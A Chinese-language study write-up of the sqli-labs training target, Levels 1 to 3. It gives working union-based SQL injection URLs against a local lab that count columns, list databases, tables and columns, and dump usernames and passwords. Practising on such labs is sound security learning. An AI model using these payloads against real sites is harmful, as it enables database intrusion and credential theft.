sql-labs是練習sql注入的優質靶場,其中包含各種各樣注入姿勢,通過這篇文章記錄一下各種技巧。
Basic Challenges
Less-1
經過嘗試,存在報錯,可以判斷為字符型注入,閉合方式為 ' 。


首先使用 order by 判斷一下字段數,有報錯信息可以知道,存在3個字段。
http://127.0.0.1:3000/Less-1/?id=1' order by 4--+


接下來結合聯合查詢,查都有哪些數據庫:
http://127.0.0.1:3000/Less-1/?id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata --+

查詢當前數據庫:
http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,database() --+

查表:
http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查字段:
http://127.0.0.1:3000/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查數據:
http://127.0.0.1:3000/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

Less-2

確定注入類型為數值型,所以不用加引號,直接使用 id=1。剩余步驟和 LESS1 相同。
http://127.0.0.1:3000/Less-2/?id=-1 order by 4 --+

最終payload為:
http://127.0.0.1:3000/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users --+
Less-3
首先也是判斷注入變量類型。' 會報錯," 和 ()都沒有報錯,所以猜測SQL語句為 $SQL = "select * from database where id= ('$id') LIMIT 0,1" 這樣的形式 。



確定好變量形式之后就是常規的查庫、查表、查字段了。和前面基本一樣,最終payload為:
http://127.0.0.1:3000/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

